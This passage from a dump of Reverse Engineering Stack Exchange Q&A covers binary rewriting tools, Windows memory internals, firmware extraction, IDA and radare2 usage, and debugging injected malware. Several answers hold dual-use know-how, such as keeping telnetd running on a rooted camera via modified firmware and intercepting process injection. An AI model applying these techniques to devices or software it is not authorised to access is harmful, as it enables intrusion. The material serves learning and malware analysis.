    \n", "Title": "Got root on IP camera, but init.d overwritten at boot. How to start telnetd at launch?", "Tags": "|embedded|", "Answer": "

    If you can write to the flash, you can try modifying the filesystem to insert necessary hooks there.

    \n\n

    Probably the easiest way to do it is to take a firmware update and modify the embedded rootfs.

    \n" }, { "Id": "14841", "CreationDate": "2017-03-07T08:30:54.220", "Body": "

    My goal is to modify some instructions and make some instrumentation in ELF executables or libraries(For example, modifying all memory writes instructions). Since there're so many instructions, I want to find them automatically and apply some modification. Are there any tools that I can leverage?

    \n", "Title": "Are there any static binary rewriting tools\uff1f", "Tags": "|binary-analysis|static-analysis|instrumentation|", "Answer": "

    I just extracted the following list during my research of this paper:

    \n\n
    \n

    \"Reassembleable Disassembling\" Shuai Wang, Pei Wang, and Dinghao Wu,\n The Pennsylvania State University

    \n
    \n\n

    The following list consits of all mentioned tools (dynamic and static), perhaps there is something useful:

    \n\n
    \n\n

    UROBOROS (Static, x86/x64 ELF)

    \n\n

    So the paper itself introduces UROBOROS. I think it's one of the best options for you:

    \n\n

    https://github.com/s3team/uroboros

    \n\n
    \n

    \"Reassembleable Disassembling\" Shuai Wang, Pei Wang, and Dinghao Wu,\n The Pennsylvania State University

    \n \n

    In this paper, we present UROBOROS, a tool that can disassemble\n executables to the extent that the gener- ated code can be assembled\n back to working binaries without manual effort. [...]

    \n \n

    We have implemented a prototype of UROBOROS in OCaml and Python, with\n a total of 13,209 lines of code. Our prototype works for both x86 and\n x64 ELF binaries. [...]

    \n \n

    We have presented UROBOROS, a tool that can disassem- ble stripped\n binaries and produce reassembleable assem- bly code in a fully\n automated manner. We call this tech- nique reassembleable\n disassembling and have developed a prototype called UROBOROS. Our\n experiments show that reassembled programs incur negligible execution\n overhead, and thus UROBOROS can be potentially used as a foundation\n for binary-based software retrofitting.

    \n
    \n\n
    \n\n

    Dyninst [10, 20] (Static+Dynamic)

    \n\n
    \n

    BUCK, B., AND HOLLINGSWORTH, J. K. An API for runtime code patching.\n Int. J. High Perform. Comput. Appl. 14, 4 (2000), 317\u2013329.

    \n
    \n\n
    \n\n

    Vulcan [16] (Static, binaries compiled by special compilers, not stripped)

    \n\n
    \n

    EDWARDS, A., VO, H., SRIVASTAVA, A., AND SRIVASTAVA, A. Vulcan binary\n transformation in a distributed environment. Tech. Rep.\n MSR-TR-2001-50, Microsoft Research, 2001.

    \n
    \n\n
    \n\n

    Alto [35] (Static, binaries compiled by special compilers, not stripped)

    \n\n
    \n

    MUTH, R., DEBRAY, S. K., WATTERSON, S., AND DE BOSS- CHERE, K. Alto: A\n link-time optimizer for the Compaq Alpha. Softw. Pract. Exper. 31, 1\n (2001), 67\u2013101.

    \n
    \n\n
    \n\n

    Diablo [13] (Static, binaries compiled by special compilers, not stripped)

    \n\n
    \n

    DE SUTTER, B., DE BUS, B., AND DE BOSSCHERE, K. Link- time binary\n rewriting techniques for program compaction. ACM Trans. Program. Lang.\n Syst. 27, 5 (2005), 882\u2013945.

    \n
    \n\n
    \n\n

    SecondWrite [3] (Static)

    \n\n
    \n

    ANAND, K., SMITHSON, M., ELWAZEER, K., KOTHA, A., GRUEN, J., GILES,\n N., AND BARUA, R. A compiler-level inter- mediate representation based\n binary analysis and rewriting sys- tem. In Proceedings of the 8th ACM\n European Conference on Computer Systems (2013), ACM, pp. 295\u2013308.

    \n
    \n\n
    \n\n

    Pin [31] (Dynamic)

    \n\n
    \n

    LUK, C.-K., COHN, R., MUTH, R., PATIL, H., KLAUSER, A., LOWNEY, G.,\n WALLACE, S., REDDI, V. J., AND HAZELWOOD, K. Pin: Building customized\n program analysis tools with dy- namic instrumentation. In Proceedings\n of the 2005 ACM SIG- PLAN Conference on Programming Language Design\n and Im- plementation (2005), ACM, pp. 190\u2013200.

    \n
    \n\n
    \n\n

    DynamoRIO [7] (Dynamic)

    \n\n
    \n

    BRUENING, D. L. Efficient, transparent, and comprehensive runtime code\n manipulation. PhD thesis, Massachusetts Institute of Technology, 2004.

    \n
    \n\n
    \n\n

    miasm2

    \n\n
    \n

    Miasm is a free and open source (GPLv2) reverse engineering framework.\n Miasm aims to analyze / modify / generate binary programs.\n https://github.com/cea-sec/miasm

    \n
    \n\n
    \n\n

    VxStripper (dynamic)

    \n\n
    \n

    Josse, S\u00e9bastien. \"Malware Dynamic Recompilation.\" System Sciences\n (HICSS), 2014 47th Hawaii International Conference on. IEEE, 2014.

    \n
    \n" }, { "Id": "14848", "CreationDate": "2017-03-08T01:55:24.823", "Body": "

    I've noticed there is a memory region in user mode on Windows 7 x64 WOW64 that changes during syscalls. It is located quite low in the address space and has the characteristics of a stack, i.e. it starts with a big reserved region, a page guard, and a few pages of R/W. There is only one thread running, and it has its own stack, so I don't think it's connected.

    \n\n

    If I call, say, NtQueryVirtualMemory, a rather constant syscall in that it should only fill a struct and not modify anything else of the address space, even then the memory region gets updated with some changes scattered here and there. Has anyone got any information about what this is? Is it some sort of scratch space for the kernel in user mode?

    \n\n

    I also noticed that when there are two threads, there will be another such hidden region, so it probably is per thread.

    \n\n

    Any documentation at all of Windows's standard memory layout would be great.

    \n", "Title": "What is this hidden stack used by syscalls on Windows?", "Tags": "|windows|memory|memory-dump|system-call|virtual-memory|", "Answer": "

    This doesn't happen during the system call. It happens in user-mode.

    \n\n

    WOW64 processes have two user-mode stacks - a 32-bit stack, which is the one you normally use, and a 64-bit stack. The WOW64 ntdll does not make system calls. Where the native 32-bit ntdll would sysenter (via an indirect call to SharedUserData!SystemCallStub) the WOW64 ntdll has an indirect call to wow64cpu!X86SwitchTo64BitMode (call dword ptr fs:[0C0h]).

    \n\n

    This function makes a far jump with a special selector that causes the switch from 32-bit mode to 64-bit mode. Then the WOW64 layer makes copies of the arguments, widening whatever is necessary, etc. and proceeds to make the real system call.

    \n\n

    I'm willing to bet you used a 32-bit debugger to debug your WOW64 process, and a 32-bit debugger doesn't show the mode transition. It can't. But that still happened in user-mode.

    \n\n

    Any most basic source on WOW64 would tell you that, and you should be able to guess that on your own. It's far more reasonable for a user-mode component to take care of the mode transitions and keep the kernel 64-bit only rather than have the kernel handle system calls from both 32-bit and 64-bit modes.

    \n\n

    The MSDN page WOW64 Implementation Details practically says both these things:

    \n\n
    \n

    Instead of using the x86 system-service call sequence, 32-bit binaries that make system calls are rebuilt to use a custom calling sequence. This calling sequence is inexpensive for WOW64 to intercept because it remains entirely in user mode. When the custom calling sequence is detected, the WOW64 CPU transitions back to native 64-bit mode and calls into Wow64.dll. Thunking is done in user mode to reduce the impact on the 64-bit kernel and to reduce the risk of a bug in the thunk that might cause a kernel-mode crash, data corruption, or a security hole. The thunks extract arguments from the 32-bit stack, extend them to 64 bits, then make the native system call.

    \n
    \n\n

    Emphasis on the last sentence is mine. It doesn't explicitly say that the extraction and expansion of arguments is done on a separate stack, but it's not a wild guess to make.

    \n" }, { "Id": "14849", "CreationDate": "2017-03-08T07:48:01.370", "Body": "

    I'm having a tough time finding any information at all concerning physical memory addresses and if/how I can get them from a program at runtime (Windows NT/10). When I run a program in OllyDbg and I'm at a breakpoint, for example, are the memory addresses in the dump, disassembler window, and memory map physical addresses or are these actually still virtual addresses? Do user-mode programs even have any concept of the physical memory or is this only between the kernel and the MMU? Thanks.

    \n", "Title": "Viewing Physical Memory Addresses in OllyDbg or any program?", "Tags": "|ollydbg|memory|", "Answer": "

    Please note this mapping is by no means trivial, but there are several resources available:

    \n\n

    INFOSEC INSTITUTE - Translating Virtual to Physical Address on Windows: Physical Addresses

    \n\n

    Translating Virtual to Physical Address on Windows: Segmentation (more theoretical view)

    \n\n

    Using WinDBG

    \n\n

    Stack Overflow: How to translate a virtual memory address to a physical address?

    \n\n

    I'm sure you're able to come up with many more sources. Basically, you must use the directory table to map virtual address pages to physical ones. You can find it using the C3 register or traversing the EPROCESS structure.

    \n\n

    Please note that there is no concept for physical addresses at user space, because the ability to write and read from these addresses would give the application the possibility to own the system.

    \n" }, { "Id": "14852", "CreationDate": "2017-03-08T09:48:16.323", "Body": "

    I've been researching the Portable Executable format and one great work I've been reading is \"ARTeam PE file format Tutorial\" which is a collection of research from Michael J'OLeary, Randy Kath, Matt Pietrek, and many more.

    \n\n

    However, one thing that I've noticed is absent is how and where the heap gets allocated for a program. Is it in one of the 9 standard sections such as .bss or .data or is it attached to the end of all sections at run-time by the loader?

    \n\n

    I assume, since it's the heap which is dynamic memory, that it is not specified anywhere in the actual PE, but if I want to scan the heap for data, how would I get the memory address space?

    \n\n

    Specifically, I would like answers to the following questions:

    \n\n
      \n
    1. how and where the heap gets allocated for a program?
      2. \n
    2. If I want to scan the heap for data, how would I get the memory address space?
      3. \n
    \n", "Title": "PE file format: How can I find the heap memory space in a running WinNT program?", "Tags": "|windows|memory|pe|heap|", "Answer": "

    Short answer: The heap, stack and other PE loader related tasks are not part of the PE standard or definition.

    \n\n

    General Information

    \n\n

    the PE file does not describe the entire memory space of an executable. It only contains the data required to execute a program, and the OS keeps the right to add additional regions without the user's awareness. Things such as the heap, the stack and other internal memory regions required for a process to function and operate are not the responsibility of a PE file (or any executable file for that matter).

    \n\n

    A PE doesn't define a heap, it requests a heap to be allocated for it from the OS (AllocateHeap is a Windows API that does that). There's no need to actually eat up space for a heap \"placeholder\" in the PE file. The same goes for the stack, the PEB, and other memory objects a process has.

    \n\n

    Additionally, a user(i.e. programmer) does not usually need to even call AllocateHeap for it's process to have a heap. OSes usually allocate a default heap for the process when loading it (either by the loader itself or by startup code the OS runs before control is given to the PE's Entry Point). Other times the compiler prefixes the code with code that allocates a heap.

    \n\n

    Similarly, the stack is allocated as part of the process creation, and is not part of the PE or defined by it. This is mandatory, for a process cannot exist without a stack (although the PE can set the size of the allocated stack).

    \n\n

    If you're interested in learning about the NT Loader (and the PE file format), I suggest you take a look at the following articles and resources:

    \n\n\n\n

    You might have already read some of the, but I included most of them for future reference.

    \n\n

    A lot of information about the heap and other types of memory are part of the (relatively big) topic of Memory Management in windows and you may want to also dive into that, here are are few articles about the heap and memory management:

    \n\n\n\n

    Technical questions

    \n\n
    \n
      \n
    1. how and where the heap gets allocated for a program?
      2. \n
    \n
    \n\n

    Heaps are memory pages reserved and committed upon creation (of the heap). The OS assigns designated pages and those are on the actual RAM and/or Page File.

    \n\n

    As I mentioned before, a process can have multiple heaps (but always has at least one, default, heap). Additional heaps are allocated and freed by the process at run-time, and a process can have a different amount of heaps depending to run-time logic.

    \n\n

    See above for a short description of how the default heap (or, more precisely the first heap, as a process may change it's default heap to a heap later allocated) is created.

    \n\n
    \n
      \n
    1. If I want to scan the heap for data, how would I get the memory address space?
      2. \n
    \n
    \n\n

    This slightly depends on the purpose and specific reasons and type of data you want to scan for. If you want to scan for data anywhere in the process's memory, you should use VirtualQuery or VirtualQueryEx for all committed memory pages. This won't only let you scan all available heaps, but will also let you scan the stack, the PE sections, and other memory used by the program (for example, pages allocated directly with VirtualAlloc).

    \n\n

    If you want to get the address range of a specific (or several heaps), you'll need to use some Heap memory functions, msdn such as GetProcessHeap GetProcessHeaps

    \n" }, { "Id": "14855", "CreationDate": "2017-03-08T17:18:09.997", "Body": "

    In windbg, we can use \"!heap -p -a [address]\" to show the stacktrace when the heap was allocated.

    \n\n

    In gdb, especially for kernel debugging, there is any way to achieve the same thing in linux?

    \n", "Title": "Given a heap address, can gdb show which function allocated the heap at this address?", "Tags": "|gdb|", "Answer": "

    AFAIK Windbg relies on the user-mode stack trace database provided by the kernel/ntdll. I think there is nothing similar built-in into Linux, but you can try some third-party tools, e.g. heaptrack

    \n" }, { "Id": "14861", "CreationDate": "2017-03-09T16:30:40.497", "Body": "

    I tried extract the firmware image from the binary file available at the D-Link DCS-4603 Vigilance Full HD PoE Dome Network Camera technical support page it by using binwalk but failed. Is there another way to extract the firmware? Or is there another tool that I can use? Or you can guide my extraction efforts?

    \n", "Title": "How to extract D-Link DCS-4603 camera firmware", "Tags": "|binary-analysis|firmware|decompress|", "Answer": "

    Recommendation: since the firmware is obfuscated, recover the bootloader

    \n\n

    The firmware may be encoded, compressed, encrypted, or some combination of these. In order for the firmware image to be loaded into memory and execute, it must be deobfuscated. Since the bootloader is responsible for this, it is likely that deobfuscation of the binary file containing the firmware image is performed by a routine or set of routines within the bootloader. Locating the code handling deobfuscation will enable you to deobfuscate the binary file containing the firmware image yourself.

    \n\n

    Recovering the bootloader requires access to the hardware. Several resources exist that will guide you in your efforts to dump the bootloader from the hardware as well as locate the deobfuscation code:

    \n\n

    Reverse Engineering Serial Ports

    \n\n

    Reversing the WRT120N\u2019s Firmware Obfuscation

    \n\n

    Turning a Webcam Into a Backdoor

    \n\n

    Belkin F9K1111 V1.04.10 Firmware Analysis

    \n\n

    How do I extract a copy of an unknown firmware from a hardware device?

    \n\n

    Analysis

    \n\n

    There are 2 firmware versions available for download at the page in the link provided:

    \n\n\n\n

    Both were analyzed.

    \n\n

    The binary files are named DCS-4603_A1_FW_V1.00.00.bin (version 1.00) and DCS-4603_A1_FW_V1.01.00.bin (version 1.01) when the packages containing them are unzipped.

    \n\n

    Both files are approximately 15MB each, with version 1.01 being slightly larger than version 1.00:

    \n\n
    15521100 DCS-4603_A1_FW_V1.00.00.bin\n15848708 DCS-4603_A1_FW_V1.01.00.bin\n
    \n\n

    1. strings and hexdump

    \n\n

    Preliminary analysis using strings -n and hexdump -C did not reveal beyond the absence of ASCII strings in either ~15MB file as well as no discernible file header.

    \n\n

    2. Entropy Analysis

    \n\n

    Entropy was consistently high throughout both files:

    \n\n

    DCS-4603_A1_FW_V1.00.00.bin:\n\"version

    \n\n

    DCS-4603_A1_FW_V1.01.00.bin:\n\"version

    \n\n

    A smooth entropy line and consistent entropy level throughout tends to indicate encryption. Reference: Differentiate Encryption From Compression Using Math.

    \n\n

    As can be seen in the plots above, there was a perturbation in the entropy level in both files at offset ~0x002EB870. This was investigated further in when both files were diffed.

    \n\n

    These plots also show that there are no areas of very low entropy in between areas of higher entropy. Such low entropy areas can indicate padding between different types of data in the binary file.

    \n\n

    3. Diffing the Binary Files

    \n\n

    There are at least 2 interesting regions of commonality between the 2 binary files: the region between offset 0x00000000 and 0x000068F0 and the site of the perturbation revealed in the entropy plots above, the region between offsets 0x002EB870 and 0x002ED320.

    \n\n

    Diff of region between offsets 0x00000000 and 0x000068F0 (length of 26864 bytes):\n\"begin\n\"end

    \n\n

    The first four bytes, 73 00 2E 30, may be a signature of some kind.

    \n\n

    Diff of region between offsets 0x002EB870 and 0x002ED320 (length of 6832 bytes):\n\"begin\n\"end

    \n\n

    To my (very) inexperienced eye, these relatively large regions of commonality suggest compression or encoding rather than encryption of similar underlying data.

    \n\n

    Final observation: D-Link's documentation for the camera explicitly discusses encoding capability (emphasis mine):

    \n\n
    \n

    To maximize bandwidth efficiency and improve image quality, the DCS-4603 provides real-time video compression using the H.264 and MJPEG codecs, and supports separate profiles for simultaneous video streaming and recording.

    \n
    \n\n

    However, this my not play any role in how the binary file containing the firmware image is obfuscated.

    \n\n

    Conclusion

    \n\n

    The fastest way to decode the binary file in order to extract the firmware image seems to be dumping the bootloader and analyzing it to pinpoint the obfuscation routine(s).

    \n\n
    \n

    is there another tool that I can use?

    \n
    \n\n

    firmware mod kit

    \n\n

    Signsrch (Windows exe)

    \n\n

    deezee

    \n" }, { "Id": "14865", "CreationDate": "2017-03-09T21:03:38.450", "Body": "

    I'm currently working on taking apart a game (Soul Reaver: Legacy of Kain) and I often come across odd looking sections such as this in the decompiler\n

    \n\n
      *(_DWORD *)(a2 + 16) = a2 + 624;\n  *(_DWORD *)(a2 + 38200) = a2 + 8;\n  *(_DWORD *)(a2 + 20) = 0;\n  *(_DWORD *)(a2 + 37592) = 0;\n  *(_DWORD *)(a2 + 37596) = a2 + 36968;\n  *(_DWORD *)(a1 + 8) = a2;\n  *(_DWORD *)a1 = 0;\n  *(_DWORD *)(a1 + 4) = 0;\n
    \n\n

    These appear to me to be offsets in a struct, but some of the offsets make little sense, e.g. 36968. I'm aware that it is quite difficult to be sure, but some pointers in the correct direction would be much appreciated :)

    \n\n

    Assembly for those who want it :)

    \n\n\n\n
    .text:004B0126                   xor     esi, esi\n.text:004B0128                   mov     [ecx+10h], eax\n.text:004B012B                   lea     eax, [ecx+8]\n.text:004B012E                   mov     [ecx+9538h], eax\n.text:004B0134                   mov     eax, [esp+4+arg_0]\n.text:004B0138                   lea     edx, [ecx+9068h]\n.text:004B013E                   mov     [ecx+14h], esi\n.text:004B0141                   mov     [ecx+92D8h], esi\n.text:004B0147                   mov     [ecx+92DCh], edx\n.text:004B014D                   mov     [eax+8], ecx\n.text:004B0150                   mov     [eax], esi\n.text:004B0152                   mov     [eax+4], esi\n
    \n", "Title": "Identifying possible structs in C/C++ disassembly", "Tags": "|decompilation|c++|c|struct|", "Answer": "

    I have also found very strange and huge offsets in my disassembled C++ code. I first thought that IDA pro is disassembling wrong. But also the pure assembler code has these huge offsets and also Ghidra creates the same pseudo code:

    \n
    undefined * FUN_00410370(undefined *param_1)\n{\n  FUN_00402b70();\n  *param_1 = 1;\n  _memset(param_1 + 0x500440, 0, 0xf001b0);\n  param_1[0x0500458] = 0x68;\n  param_1[0x0a004e8] = 0x68;\n  param_1[0x0f00578] = 0x68;\n  param_1[0x1400608] = 0x68;\n  return param_1;\n}\n
    \n

    I finally found out that they create a buffer of 31 MB with malloc() in some subfunction and they subdivide this huge buffer into sections of 5 MB which are used separately.

    \n

    The function above sets 15 MB of the buffer (0xf001b0 bytes) to zero.\nThen it writes 0x68 to offsets at 5 MB (0x500458), 10 MB (0xa004e8), 15 MB (0xf00578) and 20 MB (0x1400608).

    \n" }, { "Id": "14869", "CreationDate": "2017-03-10T06:09:00.533", "Body": "

    I have a Finger pulse oximeter and inside I found a STM32F030C8T6 MCU.\nI'm looking to replace the firmware with one of my own.

    \n\n

    Is it possible to dump the current firmware and restore it, perhaps even to another dev board running the exact same cpu?

    \n\n

    Exposed pins: TX, RX, GND, VBAT, 3.3V

    \n\n

    I have a ST-Link V2 clone and am familiar with uploading new firmware, just not downloading existing.

    \n\n

    To upload new firmware, I run:

    \n\n
    st-util\narm-none-eabi-gdb new_firmware.elf\n(gdb) target extended localhost:4242\n(gdb) load\n
    \n\n

    Not sure what the process is to download existing though. Little help?

    \n\n

    Photos of the board:

    \n\n

    https://i.stack.imgur.com/74ouV.jpg

    \n\n

    https://i.stack.imgur.com/ycmbU.jpg

    \n", "Title": "Extract firmware from STM32F030 using ST-Link clone", "Tags": "|firmware|", "Answer": "

    Get the datasheet for the chip and try tracing the JTAG/SWD pins. Possibly some of them are routed to the unlabeled 7-pin pad at the top. To dump the firmware you can probably just use the dump command (see the datasheet for memory ranges)

    \n" }, { "Id": "14875", "CreationDate": "2017-03-10T15:37:39.390", "Body": "

    I am working on a MIPS binary: ELF 32-bit MSB executable, MIPS, MIPS-II version 1 (SYSV), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=76438e9ed749bcfc6e191e548da153d0d3b3ee28, not stripped\n. IDA Pro 6.95 (32 bit) disassembles the file pretty well, yet the decompiler gives up: Sorry, the current file is not decompilable. Doesn't IDA Pro have decompilation support for MIPS?

    \n", "Title": "Doesn't IDA Pro 6.95 support decompiling MIPS executable?", "Tags": "|ida|decompilation|hexrays|mips|", "Answer": "

    No, IDA version 6.95 doesn't support it. See hex-rays.com/products/decompiler for more details.\nRegarding other news and features see decompiler news page.

    \n

    Update (12/3/2020):\nThe original answer was written ~2017, and since then IDA added MIPS decompiler support. AFAIK it was added in version 7.5.2.\nSee here for comparison between decompilation and disassembly for various MIPS variants.

    \n" }, { "Id": "14886", "CreationDate": "2017-03-12T11:29:57.487", "Body": "

    I am kind of new in the field of reverse engineering, so sorry if it is a silly question.

    \n\n

    I have to analyse some malwares for my bachelor thesis and I am currently trying \nto reverse engineer a malware called \"Dexter\" which is a point-of-sale malware.

    \n\n

    Now to my question:
    \nAfter some static analysis I tied to debug Dexter with OllyDbg, but the malware is injecting itself into the iexplore.exe process, and the original process of the malware is terminating itself. How can I debug the injected code in the iexplore.exe process? I know that you can attach OllyDbg to a running process but I can't really find the injected malware code in the memory map.

    \n", "Title": "How to debug malware that injects itself into another process?", "Tags": "|ollydbg|debugging|malware|injection|", "Answer": "

    Most of the time when a malware has injected itself into another process,it will call \"SetThreadContext\" to set the CONTEXT structure.You can easily get the \"oep\" of the target process through the \"eax\" member in the CONTEXT structure.The \"oep\" stands for the original address when target process resumes,you can make a loop at the \"oep\" so that the target process will always run in the loop.But how to make a loop in the\"oep\"?

    \n\n

    A malware often call \"WriteProcessMemory\" to write codes into target process.The second parameter of \"WriteProcessMemory\" is \"lpBaseAddress\",it means where this codes begin in the target process.And the third parameter is \"lpBuffer\",it stands for the buffer contains this codes.

    \n\n

    You can easily calculate the offset between \"oep\" and \"lpBaseAddress\",then, if the offset>0 as well as the offset< parameter \"nSize\",add the offset to \"lpBuffer\",you will get the address contains \"oep\" codes in the buffer.

    \n\n

    For example, the \"oep\" of target process is 0x401000, the parameter \"lpBaseAddress\" is 0x400000,the parameter \"lpBuffer\" is 0x120000,so the address contains \"oep\" codes in the buffer is 0x401000-0x400000+0x120000=0x121000.

    \n\n

    Then,you can change the instructions in the address contains \"oep\" to \"jmp itself\"(that is patching the first 2 bytes to EB FE).In the above example it's \"jmp 0x121000\".After calling \"WriteProcessMemory\" and \"SetThreadContext\",you will see codes run in a loop at the \"oep\" of target process because the instructions are changed to \"jmp oep\",in the above example it's \"jmp 0x401000\".the target process \"stops\".

    \n\n

    Now you can attach it with OllyDbg and begin your work!

    \n\n

    In some cases malware injects itself into target process using other ways such as Shared Sections, Atombombing.Now you may not find \"WriteProcessMemory\" in these cases,but you will find malware uses other ways to inject codes.So you can change the entry of codes injected into target process by patching the first 2 bytes to EB FE,the target process will run in a loop the same as what it does in first case.

    \n" }, { "Id": "14906", "CreationDate": "2017-03-15T05:14:16.483", "Body": "

    I am studying to analysis malware..

    \n\n

    While to analysis a malware using IDA, I want to rename array to API Name.

    \n\n

    To Help your understanding, attached image.\n\"enter

    \n\n

    Please help.

    \n\n

    Thank you

    \n", "Title": "How can i rename Array to API Name in IDAPro?", "Tags": "|ida|ida-plugin|decompiler|", "Answer": "

    You can convert it to structure, this will produce much more readable code.

    \n\n

    In order to do this you have to do the following:

    \n\n
      \n
    1. Create a structure in structures window, according to the size of array, create there corresponding number of fields (Open window, press INS, use d key to add fields).
      2. \n
    2. Rename structure fields according to API names, and set their type as function pointers with Y key. For example for GetProcAddress field it will look like _DWORD (__stdcall *pGetProcAddress)(_DWORD, _DWORD); - it is a standard definition of C function pointers with small addition of __stdcall marker of the calling convention.
      3. \n
    3. Set your a1 variable type to the created structure (In decompiler window locate cursor on your a1 variable, press Y and enter the structure name)
      4. \n
    \n\n

    Let me know if you need more detailed walkthrough.

    \n\n

    As an alternative for defining structure inside IDA (bullets 1 and 2) you can write a header file with something similar to the following (btw, see the type definitions in the structure):

    \n\n
    struct apis\n{\n  void* (__stdcall *pGetProcAddress)(_DWORD, _DWORD);\n  _DWORD (__stdcall *pSetErrorMode)(_DWORD);\n  _DWORD (__stdcall *pGetTempPathA)(_DWORD, _DWORD);\n  _DWORD (__stdcall *pGetTempGileNameA)(_DWORD *, _DWORD *, _DWORD, _DWORD *);\n};\n
    \n\n

    and import it into the IDB with Ctrl+F9. You can find and edit this structure in Local types window (Shift+F1).

    \n" }, { "Id": "14909", "CreationDate": "2017-03-15T08:13:01.063", "Body": "

    I used rabin2 -Sr myfilename to get the size of the .text section of myfilename.

    \n\n

    But, how can I dump the whole hexadecimal section of the .text onto an output file? My purpose is to read the byte code of the .text section of a PE file.

    \n", "Title": "How to display .text section of a PE in radare2?", "Tags": "|pe|radare2|", "Answer": "

    In accordance with the manual of radare, I notice that the command S and Sd of radare2 are depreciated. You can have a few issues with using it in some ways such as use it on a elf file. Use iS and iO instead.

    \n\n

    If you want to launch the command in rabin2 then simply type:

    \n\n
    rabin2 -O d/S/.text hello-world > text.bin\n
    \n\n

    Else, if you prefer to the radare2 console, then in the aim to provide an usage example of how to get a whole hexadecimal representation of the .text section, I am going to give an example based on the case given by perror. Let's have a look.

    \n\n

    First, use iS instead to list the sections.

    \n\n
    $ r2 hello\n-- Wrong argument\n[0x00000580]> iS\n[Sections]\n00 0x00000000     0 0x00000000     0 ---- \n01 0x00000238    28 0x00000238    28 -r-- .interp\n02 0x00000254    32 0x00000254    32 -r-- .note.ABI_tag\n03 0x00000274    36 0x00000274    36 -r-- .note.gnu.build_id\n04 0x00000298    28 0x00000298    28 -r-- .gnu.hash\n05 0x000002b8   192 0x000002b8   192 -r-- .dynsym\n06 0x00000378   150 0x00000378   150 -r-- .dynstr\n07 0x0000040e    16 0x0000040e    16 -r-- .gnu.version\n08 0x00000420    32 0x00000420    32 -r-- .gnu.version_r\n09 0x00000440   216 0x00000440   216 -r-- .rela.dyn\n10 0x00000518    24 0x00000518    24 -r-- .rela.plt\n11 0x00000530    23 0x00000530    23 -r-x .init\n12 0x00000550    32 0x00000550    32 -r-x .plt\n13 0x00000570     8 0x00000570     8 -r-x .plt.got\n14 0x00000580   466 0x00000580   466 -r-x .text\n15 0x00000754     9 0x00000754     9 -r-x .fini\n16 0x00000760    16 0x00000760    16 -r-- .rodata\n17 0x00000770    60 0x00000770    60 -r-- .eh_frame_hdr\n18 0x000007b0   268 0x000007b0   268 -r-- .eh_frame\n19 0x00000dd8     8 0x00200dd8     8 -rw- .init_array\n20 0x00000de0     8 0x00200de0     8 -rw- .fini_array\n21 0x00000de8     8 0x00200de8     8 -rw- .jcr\n22 0x00000df0   480 0x00200df0   480 -rw- .dynamic\n23 0x00000fd0    48 0x00200fd0    48 -rw- .got\n24 0x00001000    32 0x00201000    32 -rw- .got.plt\n25 0x00001020    16 0x00201020    16 -rw- .data\n26 0x00001030     0 0x00201030     8 -rw- .bss\n27 0x00001030    45 0x00000000    45 ---- .comment\n28 0x00001060  1632 0x00000000  1632 ---- .symtab\n29 0x000016c0   565 0x00000000   565 ---- .strtab\n30 0x000018f5   268 0x00000000   268 ---- .shstrtab\n
    \n\n

    Second, use iS to check if we are nicely using the current section by printing the current section.

    \n\n
    [0x00000580]> iS.\nCurrent section\n00 0x00000580   466 0x00000580   466 -r-x .text\n
    \n\n

    Thirdly fill free to do px 0x00000580 to display the whole content.

    \n\n
    [0x00000580]> px 0x00000580\n- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF\n0x00000580  31ed 4989 d15e 4889 e248 83e4 f050 544c  1.I..^H..H...PTL\n0x00000590  8d05 ba01 0000 488d 0d43 0100 0048 8d3d  ......H..C...H.=\n0x000005a0  0c01 0000 ff15 2e0a 2000 f40f 1f44 0000  ........ ....D..\n0x000005b0  488d 3d79 0a20 0048 8d05 790a 2000 5548  H.=y. .H..y. .UH\n0x000005c0  29f8 4889 e548 83f8 0e76 1548 8b05 fe09  ).H..H...v.H....\n0x000005d0  2000 4885 c074 095d ffe0 660f 1f44 0000   .H..t.]..f..D..\n0x000005e0  5dc3 0f1f 4000 662e 0f1f 8400 0000 0000  ]...@.f.........\n0x000005f0  488d 3d39 0a20 0048 8d35 320a 2000 5548  H.=9. .H.52. .UH\n0x00000600  29fe 4889 e548 c1fe 0348 89f0 48c1 e83f  ).H..H...H..H..?\n0x00000610  4801 c648 d1fe 7418 488b 05d1 0920 0048  H..H..t.H.... .H\n0x00000620  85c0 740c 5dff e066 0f1f 8400 0000 0000  ..t.]..f........\n0x00000630  5dc3 0f1f 4000 662e 0f1f 8400 0000 0000  ]...@.f.........\n0x00000640  803d e909 2000 0075 2748 833d a709 2000  .=.. ..u'H.=.. .\n0x00000650  0055 4889 e574 0c48 8b3d ca09 2000 e80d  .UH..t.H.=.. ...\n0x00000660  ffff ffe8 48ff ffff 5dc6 05c0 0920 0001  ....H...].... ..\n0x00000670  f3c3 0f1f 4000 662e 0f1f 8400 0000 0000  ....@.f.........\n0x00000680  488d 3d61 0720 0048 833f 0075 0be9 5eff  H.=a. .H.?.u..^.\n0x00000690  ffff 660f 1f44 0000 488b 0549 0920 0048  ..f..D..H..I. .H\n0x000006a0  85c0 74e9 5548 89e5 ffd0 5de9 40ff ffff  ..t.UH....].@...\n0x000006b0  5548 89e5 4883 ec10 897d fc48 8975 f048  UH..H....}.H.u.H\n0x000006c0  8d3d 9e00 0000 e895 feff ffb8 0000 0000  .=..............\n0x000006d0  c9c3 662e 0f1f 8400 0000 0000 0f1f 4000  ..f...........@.\n0x000006e0  4157 4156 4189 ff41 5541 544c 8d25 e606  AWAVA..AUATL.%..\n0x000006f0  2000 5548 8d2d e606 2000 5349 89f6 4989   .UH.-.. .SI..I.\n0x00000700  d54c 29e5 4883 ec08 48c1 fd03 e81f feff  .L).H...H.......\n0x00000710  ff48 85ed 7420 31db 0f1f 8400 0000 0000  .H..t 1.........\n0x00000720  4c89 ea4c 89f6 4489 ff41 ff14 dc48 83c3  L..L..D..A...H..\n0x00000730  0148 39dd 75ea 4883 c408 5b5d 415c 415d  .H9.u.H...[]A\\A]\n0x00000740  415e 415f c390 662e 0f1f 8400 0000 0000  A^A_..f.........\n0x00000750  f3c3 0000 4883 ec08 4883 c408 c300 0000  ....H...H.......\n0x00000760  0100 0200 6865 6c6c 6f20 776f 726c 6400  ....hello world.\n0x00000770  011b 033b 3c00 0000 0600 0000 e0fd ffff  ...;<...........\n0x00000780  8800 0000 00fe ffff b000 0000 10fe ffff  ................\n0x00000790  5800 0000 40ff ffff c800 0000 70ff ffff  X...@.......p...\n0x000007a0  e800 0000 e0ff ffff 3001 0000 0000 0000  ........0.......\n0x000007b0  1400 0000 0000 0000 017a 5200 0178 1001  .........zR..x..\n0x000007c0  1b0c 0708 9001 0710 1400 0000 1c00 0000  ................\n0x000007d0  b0fd ffff 2b00 0000 0000 